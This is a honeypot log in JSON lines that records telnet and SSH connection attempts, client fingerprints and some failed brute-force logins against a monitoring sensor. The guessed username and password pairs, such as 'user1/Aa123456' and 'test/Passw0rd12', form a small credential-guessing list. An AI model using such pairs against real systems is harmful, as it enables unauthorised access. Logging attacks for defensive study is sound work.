{"eventid":"cowrie.session.closed","duration":36.96979379653931,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:06.698726Z","src_ip":"185.26.126.47","session":"0559c4fd3bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33854,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa969a70cdd4","protocol":"telnet","message":"New connection: 162.253.42.116:33854 (10.17.0.5:23) [session: fa969a70cdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:13.328802Z"}
{"eventid":"cowrie.session.closed","duration":36.406930923461914,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:20.879944Z","src_ip":"162.253.42.116","session":"8aa41395a646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47546,"dst_ip":"10.17.0.5","dst_port":23,"session":"82baa0f29090","protocol":"telnet","message":"New connection: 162.253.42.116:47546 (10.17.0.5:23) [session: 82baa0f29090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:24.206802Z"}
{"eventid":"cowrie.session.closed","duration":120.00178050994873,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:26.992025Z","src_ip":"208.82.116.131","session":"4eb7d15763da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.734370946884155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:28.046807Z","src_ip":"162.253.42.116","session":"2313648eecbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50244,"dst_ip":"159.203.135.109","dst_port":22,"session":"6865a04c6694","protocol":"ssh","message":"New connection: 159.203.92.129:50244 (159.203.135.109:22) [session: 6865a04c6694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:33.671057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:33.675782Z","src_ip":"159.203.92.129","session":"6865a04c6694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:33.681105Z","src_ip":"159.203.92.129","session":"6865a04c6694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amos","password":"amos","message":"login attempt [amos/amos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:33.691370Z","src_ip":"159.203.92.129","session":"6865a04c6694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:34.754627Z","src_ip":"159.203.92.129","session":"6865a04c6694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43362,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b13bbebcddd","protocol":"telnet","message":"New connection: 162.253.42.116:43362 (10.17.0.5:23) [session: 4b13bbebcddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:43.840475Z"}
{"eventid":"cowrie.session.closed","duration":31.866190433502197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:45.194912Z","src_ip":"162.253.42.116","session":"fa969a70cdd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50638,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f3fcb8ea826","protocol":"telnet","message":"New connection: 185.26.126.47:50638 (159.203.135.109:23) [session: 3f3fcb8ea826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:51.693525Z"}
{"eventid":"cowrie.session.closed","duration":5.97239351272583,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:57.665763Z","src_ip":"185.26.126.47","session":"3f3fcb8ea826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.479676723480225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:03:57.686397Z","src_ip":"162.253.42.116","session":"82baa0f29090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58238,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cb70137e161","protocol":"ssh","message":"New connection: 102.213.34.99:58238 (10.17.0.5:22) [session: 1cb70137e161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:01.288603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:01.293097Z","src_ip":"102.213.34.99","session":"1cb70137e161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:01.462476Z","src_ip":"102.213.34.99","session":"1cb70137e161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"Aa123456","message":"login attempt [user1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:02.174072Z","src_ip":"102.213.34.99","session":"1cb70137e161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:03.348463Z","src_ip":"102.213.34.99","session":"1cb70137e161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":37630,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6efbe17ed42","protocol":"telnet","message":"New connection: 162.253.42.116:37630 (10.17.0.5:23) [session: e6efbe17ed42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:03.485572Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39608,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2b21960b2e1","protocol":"telnet","message":"New connection: 162.253.42.116:39608 (10.17.0.5:23) [session: c2b21960b2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:05.316733Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":36234,"dst_ip":"159.203.135.109","dst_port":23,"session":"6295055152a7","protocol":"telnet","message":"New connection: 185.26.126.47:36234 (159.203.135.109:23) [session: 6295055152a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:09.324241Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46856,"dst_ip":"10.17.0.5","dst_port":23,"session":"dce38b39dc6e","protocol":"telnet","message":"New connection: 162.253.42.116:46856 (10.17.0.5:23) [session: dce38b39dc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:11.879340Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47518,"dst_ip":"159.203.135.109","dst_port":22,"session":"c38b47f3a7f3","protocol":"ssh","message":"New connection: 159.203.92.129:47518 (159.203.135.109:22) [session: c38b47f3a7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:16.512082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:16.516712Z","src_ip":"159.203.92.129","session":"c38b47f3a7f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:16.521330Z","src_ip":"159.203.92.129","session":"c38b47f3a7f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amq","password":"123","message":"login attempt [amq/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:16.533069Z","src_ip":"159.203.92.129","session":"c38b47f3a7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:17.556528Z","src_ip":"159.203.92.129","session":"c38b47f3a7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63094091415405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:18.471280Z","src_ip":"162.253.42.116","session":"4b13bbebcddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40702,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd3c45634cb7","protocol":"telnet","message":"New connection: 162.253.42.116:40702 (10.17.0.5:23) [session: bd3c45634cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:31.822430Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46378,"dst_ip":"10.17.0.5","dst_port":23,"session":"69be8d19dd66","protocol":"telnet","message":"New connection: 162.253.42.116:46378 (10.17.0.5:23) [session: 69be8d19dd66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:36.737958Z"}
{"eventid":"cowrie.session.closed","duration":33.905648708343506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:37.391077Z","src_ip":"162.253.42.116","session":"e6efbe17ed42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.597498178482056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:39.914102Z","src_ip":"162.253.42.116","session":"c2b21960b2e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20288681983948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:45.082127Z","src_ip":"162.253.42.116","session":"dce38b39dc6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.925124168395996,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:47.249195Z","src_ip":"185.26.126.47","session":"6295055152a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae145a60957f","protocol":"telnet","message":"New connection: 162.253.42.116:36230 (10.17.0.5:23) [session: ae145a60957f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:04:52.366882Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32988,"dst_ip":"159.203.135.109","dst_port":22,"session":"41a98cee0aa6","protocol":"ssh","message":"New connection: 159.203.92.129:32988 (159.203.135.109:22) [session: 41a98cee0aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:01.592749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:01.598471Z","src_ip":"159.203.92.129","session":"41a98cee0aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:01.615955Z","src_ip":"159.203.92.129","session":"41a98cee0aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amq","password":"123456","message":"login attempt [amq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:01.684300Z","src_ip":"159.203.92.129","session":"41a98cee0aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46980,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eeb27a9b280","protocol":"telnet","message":"New connection: 162.253.42.116:46980 (10.17.0.5:23) [session: 6eeb27a9b280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:01.815049Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:02.840478Z","src_ip":"159.203.92.129","session":"41a98cee0aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58312,"dst_ip":"10.17.0.5","dst_port":22,"session":"4600187a8ab8","protocol":"ssh","message":"New connection: 102.213.34.99:58312 (10.17.0.5:22) [session: 4600187a8ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:04.929806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:04.934902Z","src_ip":"102.213.34.99","session":"4600187a8ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:05.107446Z","src_ip":"102.213.34.99","session":"4600187a8ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.94393014907837,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:05.766239Z","src_ip":"162.253.42.116","session":"bd3c45634cb7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"Passw0rd12","message":"login attempt [test/Passw0rd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:05.817494Z","src_ip":"102.213.34.99","session":"4600187a8ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:06.993078Z","src_ip":"102.213.34.99","session":"4600187a8ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.9490704536438,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:09.686933Z","src_ip":"162.253.42.116","session":"69be8d19dd66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59840,"dst_ip":"10.17.0.5","dst_port":23,"session":"24396b787488","protocol":"telnet","message":"New connection: 162.253.42.116:59840 (10.17.0.5:23) [session: 24396b787488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:12.888109Z"}
{"eventid":"cowrie.session.closed","duration":36.13176703453064,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:28.498564Z","src_ip":"162.253.42.116","session":"ae145a60957f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50560,"dst_ip":"10.17.0.5","dst_port":23,"session":"43c4c478e41c","protocol":"telnet","message":"New connection: 162.253.42.116:50560 (10.17.0.5:23) [session: 43c4c478e41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:05:29.465147Z"}
